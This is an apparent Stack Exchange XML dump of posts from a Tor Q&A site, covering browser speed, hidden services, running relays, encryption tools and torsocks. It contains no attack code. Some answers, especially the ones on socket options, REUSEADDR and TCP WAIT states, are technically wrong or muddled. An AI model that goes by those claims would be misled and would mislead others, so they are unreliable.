  <row Id="17609" PostTypeId="2" ParentId="12400" CreationDate="2018-08-25T22:00:02.963" Score="0" Body="&lt;p&gt;Hmmpt - you have to &quot;Bind()&quot; and &quot;Close()&quot;. Some Linux / Unix will support &quot;rfkill&quot; - all described in SVID and POSIX and just not in Windows, since this is IPX/SPX that has no &quot;options&quot;. &#xA;These define what the drivers should do during transmission and when this completes and close. Most important &quot;Socket options&quot; are &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;KEEPALIVE and  &lt;/li&gt;&#xA;&lt;li&gt;DONTLINGER and &lt;/li&gt;&#xA;&lt;li&gt;REUSEADDR.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Keepalive is to send a &quot;sense&quot; signal, but with loose wires, this would disconnect things all the time, hence Windows will disable it, and set sockets to remain alive after disconnect. &#xA;Lingering is what to do when the application terminates, should it wait to allow the application to come back and reconnect. Well, on Unix this was no option, and Unix needed the app to be alerted, and connection taken down unless you coded security to be applied for reconnect. So no lingering sockets, but on Windows, tasks terminate and restarted all the time, there is no hierarchical resource allocation.  And network connections should be shared. &#xA;REUSEADDR is for the driver to allocate and block shared memory, and keep on using the same buffers whatever happens. Fine on Windows where others can look at what goes on and everything shared, but not on Unix / Posix and Linux: buffers are given by the kernel that has to keep these away from swapping. The &quot;Lingering&quot; can be observed as various &quot;WAIT&quot; states on connections. This state is not a valid TCP/IP state and sockets in these states can be killed - on Linux systems they are sockets kept around to allow others to use them.&#xA;Kill them on the router will cause the &quot;kill&quot; signal top be issued that you can trap in the application.&#xA;Please read the standard and do not assume that the very special Windows ways are correct and applicable in general. &lt;/p&gt;&#xA;" OwnerUserId="22766" LastActivityDate="2018-08-25T22:00:02.963" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17610" PostTypeId="2" ParentId="13267" CreationDate="2018-08-25T22:12:38.653" Score="1" Body="&lt;p&gt;Write a server and learn the ways: You listen to a port, say 53 and then block all use of port 53. Nobody else can use it, and you are notified by the kernel of new messages on this. You do not open it like a file, but bind and connect to it, and after &quot;fd = Connect();&quot; you listen() to it and can even use regular &quot;read(fd, buf,len)&quot; and &quot;write(fd,buf,len)&quot; like to any other file, terminate with &quot;close(fd)&quot; and then others can use port 53.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;People have mystified these and hide them in fancy routines with numerous parameters. The above is what it all boils down to.&lt;/p&gt;&#xA;" OwnerUserId="22766" LastActivityDate="2018-08-25T22:12:38.653" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17611" PostTypeId="1" CreationDate="2018-08-25T22:32:31.907" Score="1" ViewCount="1235" Body="&lt;p&gt;I use regular Chrome, Chrome Canary with Tor button (connected to tor from MacPorts) and Tor browser on the same computer. Obviously regular Chrome is the fastest but Canary/Tor button is just slightly slower (like you would be using an average mobile broadband connection rather than 100 Mbit fiber). However, Tor browser is significantly slower. Why is that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't &quot;push&quot; Canary nor Tor browser by having tens of windows and hundreds of tabs open, instead I use one window in either browser, always with less than 5 tabs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, Tor browser regularly hangs. You just can't open a new window or tab, clicking links or other common tasks. It is currently in this state and the only (?) thing that works are the menus - they work as expected but when you select a commando there, nothing happens. My copy of Tor browser also frequently use a lot of CPU and the only way to fix this is to kill the daughter process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why this big difference in general speed between Canary/Tor button and Tor browser? And more generally, is Tor browser unstable? I use Firefox occasionally and it never shows the instability I experience with Tor browser.&lt;/p&gt;&#xA;" OwnerUserId="22915" LastActivityDate="2018-08-26T00:00:32.150" Title="Why is Tor button for Chrome so much faster than the official Tor browser?" Tags="|tor-browser-bundle|chrome|tor-button|performance|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17612" PostTypeId="2" ParentId="17606" CreationDate="2018-08-25T23:24:13.793" Score="1" Body="&lt;p&gt;IP Address conflict errors mean that the router is sending any traffic to and from your computer to both computers with the same IP Address. This means that if your sister opens up Firefox and visits Google the router would send back the data from Google to both computers. Luckily most modern operating systems are aware of this misconfiguration problem and would simply drop the traffic that's not intended for them. Unless the other computer is acting maliciously (e.g. its infected or if your sister is secretly an evil hacker after you) there's little to worry about. When you have time fix the misconfiguration on your router and all is well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the Tor Browser Bundle, your connection between you and the relays is encrypted, your sister's computer does not have your set of encryption keys and therefore can't make sense of the data and has no choice but to ignore it. Your sister's computer not having your set of encryption keys would be unable to route traffic within your Tor circuits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next up as for Amazon - connections to Amazon.com are always routed over HTTPS so the connection between your sister's computer and Amazon.com is encrypted. Even if you can watch all traffic between your sister and Amazon.com, without the keys you can't make sense of the data. The same applies to the Tor network, a malicious exit doesn't have the ability to make sense of the data. Although in your case your sister's Amazon order likely was not routed through Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And lastly the majority of Tor exits are operated by well meaning individuals or organizations. The odds of you connecting to a bad Tor Exit are quite low compared to the odds of you connecting to a good Tor Exit. This is not to say you shouldn't take reasonable precautions against bad exits - it's just something to keep in mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps :)&lt;/p&gt;&#xA;" OwnerDisplayName="user13990" LastActivityDate="2018-08-25T23:24:13.793" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="17613" PostTypeId="2" ParentId="15586" CreationDate="2018-08-25T23:40:57.847" Score="1" Body="&lt;p&gt;You asked a few separate questions. I'll do my best to answer each of them here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Does Tor protect your router and IP Address provided by my ISP from a DDoS?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The router itself will still be reachable from the IP Address provided by your ISP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Does Tor hide my IP Address?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you route all of your traffic over the Tor Network, your adversary will have a hard time associating that IP Address with you and will likely send their attacks to the Tor Exits instead. After a while of seeing you are still posting as normal or doing whatever caused them to attack you in the first place they'll give up and target someone else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Does Tor make you invincible against people actively targeting you individually with and wish to disrupt your activities?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Social engineering attacks at various levels still exist and few mitigations exist for them, if your adversary knows enough about you personally they may be able to target you through social engineering attacks directed at your ISP, Power Company, Building Security Provider, and other vectors to disrupt your activities that way. Tor is not designed to protect against these types of attacks and its protections rely on you staying anonymous in the first place.&lt;/p&gt;&#xA;" OwnerDisplayName="user13990" LastActivityDate="2018-08-25T23:40:57.847" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17614" PostTypeId="2" ParentId="17611" CreationDate="2018-08-26T00:00:32.150" Score="2" Body="&lt;p&gt;I'm sorry to hear you are having trouble with the Tor Browser Bundle. Tor Browser 8, which is based on Firefox Quantum, is planned for release early September and may fix some of the render slowness you see in Tor Browser 7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend being extremely cautious using a third party browser extension claiming to route your connection through Tor. It has not been audited by the Tor Project and such cannot assure you your safety as you use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meanwhile I have the following suggestions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Consider downloading a fresh copy of the tor browser bundle and delete the old copy. It's possible some data got corrupted at some point.  If reinstalling, do not just overwrite your previous Tor Browser files ensure they are fully deleted beforehand. While you are at this, maybe try Tor Browser Alpha and see if you have better results with it than Tor Browser Stable. The more information you provide, the better we can help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Make sure that any antivirus program you have installed is not preventing Tor from running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Make sure your system clock is properly set. Tor Browser is very particular about having the correct time and date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let us know if any of the suggestions fixed your issue :)&lt;/p&gt;&#xA;" OwnerDisplayName="user13990" LastActivityDate="2018-08-26T00:00:32.150" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17615" PostTypeId="1" CreationDate="2018-08-26T03:37:36.120" Score="0" ViewCount="312" Body="&lt;p&gt;Hi I am trying to make a code that monitors cryptocurrency prices, so I am fetching JSON data from public sources and then processing it. I am using this python code by &lt;a href=&quot;https://stackoverflow.com/a/12965254&quot;&gt;@Anurag Uniyal&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import urllib.request, json &#xA;with urllib.request.urlopen(&quot;https://api.bitcoincharts.com/v1/weighted_prices.json&quot;) as url:&#xA;    data = json.loads(url.read().decode())&#xA;    print(data)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have a VM setup that routes everything through Tor, so this code, probably using direct HTTP fetch via urllib doesn't go through, it get's blocked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have to execute this python script via Torsocks, like &lt;code&gt;torsocks python3 code.py&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is whether this is safe? I am not familiar with torsocks but it seems like it just &quot;hacks&quot; the connection to go through Tor, and it's not a clean way to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would there be a more elegant and clean way of fetching JSON via Tor, or is this the only way? &lt;/p&gt;&#xA;" OwnerUserId="22872" LastActivityDate="2021-09-11T07:01:50.297" Title="Fetching JSON via Tor" Tags="|anonymity|socks|torsocks|https|python|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17616" PostTypeId="2" ParentId="17594" CreationDate="2018-08-26T05:50:52.087" Score="1" Body="&lt;p&gt;Figured out the problem by my self. hope it must be useful to others&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tried uninstalling the antivirus&#xA;tried uninstalling the TOR browser...&#xA;tried to synchronize the clock..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but the real problem was&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there was an software called&#xA;&quot;search awesome&quot; installed in the machine&#xA;uninstalled and TOR started working.. &lt;/p&gt;&#xA;" OwnerUserId="22832" LastActivityDate="2018-08-26T05:50:52.087" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17617" PostTypeId="2" ParentId="17587" CreationDate="2018-08-26T08:24:05.397" Score="0" Body="&lt;p&gt;You need to connect to remote hidden service mail server with SMTP protocol, your example is sending mail via local sendmail. Sending mail using local sendmail is possible only if local sendmail is configured to connect to TOR.&lt;/p&gt;&#xA;" OwnerUserId="22654" LastActivityDate="2018-08-26T08:24:05.397" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17622" PostTypeId="1" AcceptedAnswerId="17625" CreationDate="2018-08-26T21:08:46.030" Score="1" ViewCount="3303" Body="&lt;p&gt;I have set up a hidden service. This is not a web server. Can I check whether this service is reachable, similarly to checking whether a port on a specific IP address is open (e.g with &lt;a href=&quot;https://www.yougetsignal.com/tools/open-ports/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.yougetsignal.com/tools/open-ports/&lt;/a&gt;)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, the server running tor hidden service is behind a router. I do not need to set any port forwarding on the router in order for the hidden service to work, right?&lt;/p&gt;&#xA;" OwnerUserId="22876" LastActivityDate="2018-08-28T20:32:57.100" Title="check if an onion hidden service is available" Tags="|onion-services|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17623" PostTypeId="1" AcceptedAnswerId="17626" CreationDate="2018-08-27T04:56:59.267" Score="0" ViewCount="94" Body="&lt;p&gt;Hidden Services A and B are hosted on different servers having different live IP addresses and I need to make them communicate with each other , say a chat service between A and B.&lt;/p&gt;&#xA;" OwnerUserId="17117" LastActivityDate="2018-08-27T06:27:32.830" Title="How can I make two completely different hidden services to communicate with each other?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17625" PostTypeId="2" ParentId="17622" CreationDate="2018-08-27T06:21:58.957" Score="1" Body="&lt;p&gt;You can check if service is reachable by connecting to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, you do not need to open any ports or have public IP to host hidden service. Only requirements are to be able to connect to tor network and have clocks correctly set.&lt;/p&gt;&#xA;" OwnerUserId="22654" LastActivityDate="2018-08-27T06:21:58.957" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17626" PostTypeId="2" ParentId="17623" CreationDate="2018-08-27T06:27:32.830" Score="0" Body="&lt;p&gt;They can communicate with each other using standard options for tor clients. For example tor provided SOCKS5 server, your hidden service must know how to communicate using SOCKS. There are other communication options as well - transparent network mapping by router and wrapper to make any application socks aware.&lt;/p&gt;&#xA;" OwnerUserId="22654" LastActivityDate="2018-08-27T06:27:32.830" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17627" PostTypeId="2" ParentId="17615" CreationDate="2018-08-27T06:34:21.393" Score="1" Body="&lt;p&gt;If you have VM setup with all network traffic routed through tor then you do not need to run torsocks.&lt;/p&gt;&#xA;" OwnerUserId="22654" LastActivityDate="2018-08-27T06:34:21.393" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17628" PostTypeId="2" ParentId="17608" CreationDate="2018-08-27T06:39:22.090" Score="0" Body="&lt;p&gt;You need synchronized clocks on tor. It is usually problem when computer goes to sleep. Restarting tor after waking up helps.&lt;/p&gt;&#xA;" OwnerUserId="22654" LastActivityDate="2018-08-27T06:39:22.090" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="17632" PostTypeId="2" ParentId="17593" CreationDate="2018-08-28T07:18:01.957" Score="0" Body="&lt;p&gt;Yes, I think your formula for approx hidden service traffic is right.&lt;/p&gt;&#xA;" OwnerUserId="22654" LastActivityDate="2018-08-28T07:18:01.957" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17635" PostTypeId="2" ParentId="17622" CreationDate="2018-08-28T20:32:57.100" Score="0" Body="&lt;p&gt;The code must be in &quot;Listen&quot; state for others to connect to it. &#xA;Use the &quot;netstat&quot; command and look for ports &quot;listening&quot;. &#xA;I wonder if &quot;bind()&quot; (&lt;a href=&quot;https://linux.die.net/man/2/bind&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://linux.die.net/man/2/bind&lt;/a&gt;) can be used to check if a service is &quot;listening&quot;. &#xA;The states allowed is restricted, the client must hit a server  with an Internet service &quot;listening&quot;. Otherwise it is not available or &quot;busy&quot;. The Windows sockets &quot;linger&quot; - are half-made and can be used from the zoombie &quot;WAIT&quot; state. See &lt;a href=&quot;https://linux.die.net/man/2/socket&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://linux.die.net/man/2/socket&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is all, you can use regular file &quot;read()&quot; and &quot;write()&quot; and &quot;close()&quot; now.  &quot;lenght&quot; is the buffer size of the application, outvalue is number of bytes in the packet, so &quot;len=read(sd,buff,len);&quot; is all and 0 means that something has happened like a disconnect, and &quot;errno&quot; holds the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These &quot;services&quot; are no announced anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Connections in all &quot;Wait&quot; states can be removed. &lt;/p&gt;&#xA;" OwnerUserId="22766" LastActivityDate="2018-08-28T20:32:57.100" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17638" PostTypeId="1" CreationDate="2018-08-29T09:53:10.243" Score="1" ViewCount="1039" Body="&lt;p&gt;I've looked on distrowatch for linux live distros with tor, but not all distros are shown. I know &quot;Birds Linux&quot; live cd has tor, but isn't on distrowatch. Can anyone suggest other distros with tor, which arn't on distrowatch, or a list of linux distros with tor?&lt;/p&gt;&#xA;" OwnerUserId="19153" LastActivityDate="2019-04-27T17:00:55.830" Title="Live linux cd's with TOR" Tags="|linux|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17639" PostTypeId="1" CreationDate="2018-08-29T13:27:36.973" Score="0" ViewCount="476" Body="&lt;p&gt;Is it even safer to use Tor in Windows safe-mode with networking than using Tor in Windows normal mode..&lt;/p&gt;&#xA;" OwnerUserId="22904" LastActivityDate="2021-12-19T18:02:40.280" Title="It it safe to use Tor in Windows safe-mode with networking?" Tags="|tor-browser-bundle|configuration|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17641" PostTypeId="2" ParentId="17638" CreationDate="2018-08-29T21:29:45.637" Score="0" Body="&lt;p&gt;I use tails and tor-RAMdisk distributions.&lt;/p&gt;&#xA;" OwnerUserId="22654" LastActivityDate="2018-08-29T21:29:45.637" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17642" PostTypeId="2" ParentId="17607" CreationDate="2018-08-29T21:34:27.180" Score="1" Body="&lt;p&gt;I tried mobile onion browser and it doesn't play YouTube, invalid responses received. I would guess that YouTube have some tor block in place.&lt;/p&gt;&#xA;" OwnerUserId="22654" LastActivityDate="2018-08-29T21:34:27.180" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17644" PostTypeId="2" ParentId="6829" CreationDate="2018-08-30T02:22:44.073" Score="0" Body="&lt;p&gt;I guarantee you Torrc is there. If you can't navigate to it graphically, do &lt;code&gt;nano /etc/tor/torrc&lt;/code&gt; in a terminal- it should solve your problems.&lt;/p&gt;&#xA;" OwnerUserId="22659" LastActivityDate="2018-08-30T02:22:44.073" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17648" PostTypeId="1" CreationDate="2018-09-01T03:24:55.433" Score="0" ViewCount="2666" Body="&lt;p&gt;Is there something about the design of TorBrowser that blocks the ability to upload files to Web sites, or is there something wrong with my TorBrowser installation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:  I figured out that TorBrowser won't access files that aren't on a local drive.  When I copied the files I was trying to upload to the Desktop, everything went fine - but attempting to access &lt;code&gt;\\\SERVER\SHARE\file.ext&lt;/code&gt; fails silently.  It also fails reading HTML files this way, which still leaves the question:  Why?&lt;/p&gt;&#xA;" OwnerUserId="1527" LastEditorUserId="88" LastEditDate="2019-05-05T18:00:15.387" LastActivityDate="2019-05-05T18:00:15.387" Title="Uploading files with TorBrowser - is it possible?" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="17649" PostTypeId="2" ParentId="16468" CreationDate="2018-09-01T05:08:54.883" Score="0" Body="&lt;p&gt;TOR will become faster only when everybody in the network or bridges use a real faster internet service. Anywhere in the loop a slower network results complete setup to go slow doesnot matter how the others perform. It is also To be noted TOR never faster if you using Mobile connection.&lt;/p&gt;&#xA;" OwnerUserId="22926" LastActivityDate="2018-09-01T05:08:54.883" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17652" PostTypeId="1" CreationDate="2018-09-02T05:20:01.693" Score="1" ViewCount="1962" Body="&lt;p&gt;I am curious how I can rely on Tor network in terms of traceability. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for really professional who can say if my Tor communication is secure, if a Tor exit node is detectable or traceable. For instance I have heard that exit nodes or relays can be detected by ISP and sometimes in some countries are blocked. Especially I am interested if authorities have the capability to detect Tor communication of some targeted user. Other words if Tor network is ultimately safe or if it has certain limitations would be nice. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, kindest regards, Andy&lt;/p&gt;&#xA;" OwnerUserId="16928" LastEditorUserId="20628" LastEditDate="2018-09-10T09:25:00.453" LastActivityDate="2018-11-23T16:42:01.000" Title="Is Tor network traceable" Tags="|tor-browser-bundle|anonymity|security|network-configuration|identity-change|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17653" PostTypeId="1" CreationDate="2018-09-02T06:18:35.903" Score="0" ViewCount="242" Body="&lt;p&gt;I have many sensitive documentation which I am scared to lose or get somebody accessed. My question would be what is the ultimate encryption protection?  I have read lot of articles saying that for instance bitlocker is prone to cracking or reverse brute force password hacking. I am a little paranoic using 24 alfanumeric character password but still scared if reading articles as bellow saying there is tool to crack bitclocker protection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.elcomsoft.com/2016/06/breaking-bitlocker-encryption-brute-forcing-the-backdoor-part-i/&quot; rel=&quot;nofollow noreferrer&quot;&gt;how to crack bitlocker&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can any cipher professional say what tool is secure by ultimate way? I used veracryp, LUKS partition on Linux with AES256 but I am scared brute force attack especially with highly powerfull CUDA graphical card able to speedup brute force process significantly. Any professional advice would be highly welcomed. Kindest regards, Andy&lt;/p&gt;&#xA;" OwnerUserId="16928" LastActivityDate="2018-09-06T20:50:32.073" Title="ultimate encryption and protection of sensitive data" Tags="|anonymity|security|windows|browsers|encryption|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17661" PostTypeId="1" CreationDate="2018-09-03T06:59:42.937" Score="0" ViewCount="923" Body="&lt;p&gt;I'm currently running a TOR Relay. &#xA;I'm monitoring it with nyx and is pretty good because I can see every connection coming in and out from my relay. &#xA;But what I'm asking is how can I find a full list of all past connections to my node. &#xA;Just in case someone (police?) ask me to give information about a certain IP I want to query this log for get this data. &#xA;Is that possible? What I have to do?&#xA;Thanks in advance. &lt;/p&gt;&#xA;" OwnerDisplayName="user22943" LastActivityDate="2021-12-19T02:02:30.230" Title="How to get traffic log history from a relay?" Tags="|relays|log|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17662" PostTypeId="1" CreationDate="2018-09-03T15:18:20.017" Score="0" ViewCount="46684" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How do I enable Java Script in Tor?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="22948" LastActivityDate="2018-09-04T06:18:29.347" Title="How do I enable java script on Tor?" Tags="|security|" AnswerCount="1" CommentCount="1" ClosedDate="2021-05-31T22:25:23.717" ContentLicense="CC BY-SA 4.0" />
  <row Id="17665" PostTypeId="2" ParentId="17662" CreationDate="2018-09-04T06:18:29.347" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9BzjZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9BzjZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the image shows click the S icon and choose your option.&#xA;Temporarily works since you don't reload the page.&#xA;Globally is for all website forever. &lt;/p&gt;&#xA;" OwnerDisplayName="user22943" LastActivityDate="2018-09-04T06:18:29.347" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17670" PostTypeId="1" AcceptedAnswerId="17674" CreationDate="2018-09-04T22:06:26.880" Score="0" ViewCount="95" Body="&lt;p&gt;What if i run a relay and a person downloads illegal content? Example: Like child porn that goes past my relay? In general speaking i am just as bad as the person that downloads such content. So even in here, the Netherlands, i will be fined and will be in court because of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reason i ask this is because i would like to run a guard relay, but my concern is i do not want to get to court because, like i stated above, a entity is using it to get illegal content. Is there anything known about this? Thank you in advance for your reply.&lt;/p&gt;&#xA;" OwnerUserId="22958" LastEditorUserId="22958" LastEditDate="2018-09-05T11:07:42.030" LastActivityDate="2018-09-05T17:52:13.237" Title="How save is Tor and there relays?" Tags="|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17673" PostTypeId="2" ParentId="17670" CreationDate="2018-09-05T16:27:50.770" Score="0" Body="&lt;p&gt;I am running multiple relays for 1-2 years now. Guards and middlerelays, and never got any issues or problems because of this.&#xA;Exits are another theme but you dont need to worry because of running a guard or middlerelays.&lt;/p&gt;&#xA;" OwnerUserId="22822" LastActivityDate="2018-09-05T16:27:50.770" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17674" PostTypeId="2" ParentId="17670" CreationDate="2018-09-05T17:52:13.237" Score="0" Body="&lt;p&gt;Running a Guard or Middle relay is totally fine and won't cause you any trouble. This is because all the traffic you forward and receive as a Middle/Guard relay is end to end encrypted between the target server and the client (means as a relay you can't read the forwarded traffic). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means even if someone would download something illegal using your relay, you couldn't be held responsible because it would be impossible to prove that the illegal content actually was relayed by your relay and not just the exit relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I, myself have been running a Guard/Middle relay for more than two years now and have never gotten any trouble.&lt;/p&gt;&#xA;" OwnerUserId="20628" LastActivityDate="2018-09-05T17:52:13.237" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17675" PostTypeId="2" ParentId="17661" CreationDate="2018-09-05T17:57:43.523" Score="0" Body="&lt;p&gt;Neither Nyx nor Tor support this out of the box. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However you can do this with the &lt;a href=&quot;https://stem.torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stem&lt;/a&gt; library using the &lt;a href=&quot;https://stem.torproject.org/api/util/connection.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;connection API&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="20628" LastActivityDate="2018-09-05T17:57:43.523" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17676" PostTypeId="2" ParentId="17653" CreationDate="2018-09-05T18:17:16.427" Score="1" Body="&lt;p&gt;There is unfortunately no &quot;ultimate encryption tool&quot;. However there are some tools, that if used correctly provide reasonable security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These tools listed here are well known to provide strong enough encryption to resist currently known attacks, if used correctly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tools:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://veracrypt.fr&quot; rel=&quot;nofollow noreferrer&quot;&gt;Veracrypt&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;LUKS disk encryption&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gnupg.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;GPG&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Not all tools listed here are usable for everything (e.g. you can't encrypt a partition with GPG).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on what kind of sensitive documents you need to store, you might want to take a look at &lt;a href=&quot;https://www.qubes-os.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;Qubes OS&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="20628" LastActivityDate="2018-09-05T18:17:16.427" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17678" PostTypeId="2" ParentId="12558" CreationDate="2018-09-05T22:02:03.440" Score="0" Body="&lt;p&gt;I would like to add 1 tiny part in this and that is about storing passwords. I might be old fashion but i never ever ever store passwords anywhere everything can be hacked. I simply write them down in a book. You have to break into my house to search for it to get the passwords. :)&lt;/p&gt;&#xA;" OwnerUserId="22958" LastActivityDate="2018-09-05T22:02:03.440" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17679" PostTypeId="1" CreationDate="2018-09-06T01:22:58.857" Score="0" ViewCount="839" Body="&lt;p&gt;My PC auto-updated to Tor 8 and I no longer have the green onion on the left side of the browser where I can check my circuit or change to a new circuit. Can I roll back to an earlier version of Tor that allows me the functionality I seem to have lost?&lt;/p&gt;&#xA;" OwnerUserId="22964" LastActivityDate="2019-10-25T14:26:06.803" Title="Tor 8 no longer has Green Onion with option to change circuitcharley" Tags="|circuit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17682" PostTypeId="2" ParentId="17364" CreationDate="2018-09-06T02:18:30.367" Score="1" Body="&lt;p&gt;I struggled with this same problem until I allowed the following 2 applications thru Controlled Folder Access: &lt;code&gt;firefox.exe&lt;/code&gt;&#xA;in the folder: &lt;code&gt;\Tor Applications\Tor Browser\Browser\&lt;/code&gt; &lt;em&gt;and&lt;/em&gt; &lt;code&gt;tor.exe&lt;/code&gt;&#xA;in the folder: &lt;code&gt;\Tor Applications\Tor Browser\Browser\TorBrowser\Tor\&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After doing this, I was able to turn &quot;Controlled Folder Access&quot; to ON, and start up Tor Browser successfully.&lt;/p&gt;&#xA;" OwnerUserId="22966" LastEditorUserId="88" LastEditDate="2018-09-12T11:34:14.290" LastActivityDate="2018-09-12T11:34:14.290" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
